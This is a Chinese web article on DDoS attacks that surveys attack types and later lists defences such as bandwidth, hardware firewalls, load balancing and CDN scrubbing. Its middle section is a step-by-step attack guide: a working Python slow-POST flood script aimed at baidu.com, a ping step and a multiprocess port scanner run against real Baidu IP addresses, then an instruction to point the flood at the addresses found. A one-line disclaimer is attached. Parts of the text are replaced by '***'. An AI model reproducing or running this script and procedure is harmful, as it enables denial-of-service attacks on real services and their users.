常见的ddos攻击 *** _高效ddos攻击

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DDOS攻击的 *** 有哪几种

DDoS攻击通过大量合法的请求占用大量 *** 资源,以达到瘫痪 *** 的目的。 这种攻击方式可分为以下几种:

通过使 *** 过载来干扰甚至阻断正常的 *** 通讯;

通过向服务器提交大量请求,使服务器超负荷;

阻断某一用户访问服务器;

阻断某服务与特定系统或个人的通讯。

IP Spoofing

IP欺骗攻击是一种黑客通过向服务端发送虚假的包以欺骗服务器的做法。具体说,就是将包中的源IP地址设置为不存在或不合法的值。服务器一旦接受到该包便会返回接受请求包,但实际上这个包永远返回不到来源处的计算机。这种做法使服务器必需开启自己的监听端口不断等待,也就浪费了系统各方面的资源。

LAND attack

这种攻击方式与SYN floods类似,不过在LAND attack攻击包中的原地址和目标地址都是攻击对象的IP。这种攻击会导致被攻击的机器死循环,最终耗尽资源而死机。

ICMP floods

ICMPfloods是通过向未良好设置的路由器发送广播信息占用系统资源的做法。

Application

与前面叙说的攻击方式不同,Application level floods主要是针对应用软件层的,也就是高于OSI的。它同样是以大量消耗系统资源为目的,通过向IIS这样的 *** 服务程序提出无节制的资源申请来迫害正常的 *** 服务。

如何进行DDOS攻击怎么做

会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可

代码:

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

  global socks

  for i in range(0,MAX_CONN):

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      try:

          s.connect((HOST,PORT))

          s.send(buf.encode())

          print ("Send buf OK!,conn=%d\n"%i)

          socks.append(s)

      except Exception as ex:

          print ("Could not connect to server or send error:%s"%ex)

          time.sleep(10)

#end def

def send_thread():

  global socks

  while True:

      for s in socks:

          try:

              s.send("f".encode())

              #print "send OK!"

          except Exception as ex:

              print ("Send Exception:%s\n"%ex)

              socks.remove(s)

              s.close()

      time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。

所以,更好用Windows里的PING进行检测

操作:

在Windows搜索栏里输入:cmd

输入:

ping -n 10 -l 1 baidu.com

//这里拿百度做示范,别真打百度!

那么,就会发现,系统反映了:

正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

39.156.69.79 的 Ping 统计信息:

  数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

  最短 = 26ms,最长 = 29ms,平均 = 27ms

说明,百度的服务器有一个主服务器是39.156.69.79

那么,就来查找百度的所有服务器吧!

输入以下代码:

#绝大多数成功的 *** 攻击都是以端口扫描开始的,在 *** 安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否

#开放了指定端口,进一步判断主机是否运行了某些重要的 *** 服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴

#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t

def ports(ports_serve):

  #获取常用端口对应的服务名称

  for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

      try:

          ports_serve[port]=socket.getservbyport(port)

      except socket.error:

          pass

def ports_scan(host,ports_service):

  ports_open=[]

  try:

      sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      #超时时间的不同会影响扫描结果的精确度

      socket.timeout(0.01)

  except socket.error:

      print('socket creation error')

      sys.exit()

  for port in ports_service:

      try:

          #尝试连接指定端口

          sock.connect((host,port))

          #记录打开的端口

          ports_open.append(port)

          sock.close()

      except socket.error:

          pass

  return ports_open

if __name__ == '__main__':

  m=multiprocessing.Manager()

  ports_service=dict()

  results=dict()

  ports(ports_service)

  #创建进程池,允许最多8个进程同时运行

  pool = multiprocessing.Pool(processes=8)

  net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击

  for host_number in map(str,range(8,10)):

      host = net + host_number

      #创建一个新进程,同时记录其运行结果

      results[host] = pool.apply_async(ports_scan,(host,ports_service))

      print('starting '+host+'...')

  #关闭进程池,close()必须在join()之前调用

  pool.close()

  #等待进程池中的进程全部执行结束

  pool.join()

  #打印输出结果

  for host in results:

      print('='*30)

      print(host,'.'*10)

      for port in results[host].get():

          print(port,':',ports_service[port])

       

你会发现,Python反映了:

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!

接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!

怎么防御DDoS攻击?

一. *** 设备设施

*** 架构、设施设备是整个系统得以顺畅运作的硬件基础,用足够的机器、容量去承受攻击,充分利用 *** 设备保护 *** 资源是一种较为理想的应对策略,说到底攻防也是双方资源的比拼,在它不断访问用户、夺取用户资源之时,自己的能量也在逐渐耗失。相应地,投入资金也不小,但 *** 设施是一切防御的基础,需要根据自身情况做出平衡的选择。

1. 扩充带宽硬抗

*** 带宽直接决定了承受攻击的能力,国内大部分网站带宽规模在10M到100M,知名企业带宽能超过1G,超过100G的基本是专门做带宽服务和抗攻击服务的网站,数量屈指可数。但DDoS却不同,攻击者通过控制一些服务器、个人电脑等成为肉鸡,如果控制1000台机器,每台带宽为10M,那么攻击者就有了10G的流量。当它们同时向某个网站发动攻击,带宽瞬间就被占满了。增加带宽硬防护是理论更优解,只要带宽大于攻击流量就不怕了,但成本也是难以承受之痛,国内非一线城市机房带宽价格大约为100元/M*月,买10G带宽顶一下就是100万,因此许多人调侃拼带宽就是拼人民币,以至于很少有人愿意花高价买大带宽做防御。

2. 使用硬件防火墙

许多人会考虑使用硬件防火墙,针对DDoS攻击和黑客入侵而设计的专业级防火墙通过对异常流量的清洗过滤,可对抗SYN/ACK攻击、TCP全连接攻击、刷脚本攻击等等流量型DDoS攻击。如果网站饱受流量攻击的困扰,可以考虑将网站放到DDoS硬件防火墙机房。但如果网站流量攻击超出了硬防的防护范围(比如200G的硬防,但攻击流量有300G),洪水瞒过高墙同样抵挡不住。值得注意一下,部分硬件防火墙基于包过滤型防火墙修改为主,只在 *** 层检查数据包,若是DDoS攻击上升到应用层,防御能力就比较弱了。

3. 选用高性能设备

除了防火墙,服务器、路由器、交换机等 *** 设备的性能也需要跟上,若是设备性能成为瓶颈,即使带宽充足也无能为力。在有 *** 带宽保证的前提下,应该尽量提升硬件配置。

二、有效的抗D思想及方案

硬碰硬的防御偏于“鲁莽”,通过架构布局、整合资源等方式提高 *** 的负载能力、分摊局部过载的流量,通过接入第三方服务识别并拦截恶意流量等等行为就显得更加“理智”,而且对抗效果良好。

4. 负载均衡

普通级别服务器处理数据的能力最多只能答复每秒数十万个链接请求, *** 处理能力很受限制。负载均衡建立在现有 *** 结构之上,它提供了一种廉价有效透明的 *** 扩展 *** 设备和服务器的带宽、增加吞吐量、加强 *** 数据处理能力、提高 *** 的灵活性和可用性,对DDoS流量攻击和CC攻击都很见效。CC攻击使服务器由于大量的 *** 传输而过载,而通常这些 *** 流量针对某一个页面或一个链接而产生。在企业网站加上负载均衡方案后,链接请求被均衡分配到各个服务器上,减少单个服务器的负担,整个服务器系统可以处理每秒上千万甚至更多的服务请求,用户访问速度也会加快。

5. CDN流量清洗

CDN是构建在 *** 之上的内容分发 *** ,依靠部署在各地的边缘服务器,通过中心平台的分发、调度等功能模块,使用户就近获取所需内容,降低 *** 拥塞,提高用户访问响应速度和命中率,因此CDN加速也用到了负载均衡技术。相比高防硬件防火墙不可能扛下无限流量的限制,CDN则更加理智,多节点分担渗透流量,目前大部分的CDN节点都有200G 的流量防护功能,再加上硬防的防护,可以说能应付目绝大多数的DDoS攻击了。这里我们推荐一款高性比的CDN产品:百度云加速,非常适用于中小站长防护。相关链接

6. 分布式集群防御

分布式集群防御的特点是在每个节点服务器配置多个IP地址,并且每个节点能承受不低于10G的DDoS攻击,如一个节点受攻击无法提供服务,系统将会根据优先级设置自动切换另一个节点,并将攻击者的数据包全部返回发送点,使攻击源成为瘫痪状态,从更为深度的安全防护角度去影响企业的安全执行决策。

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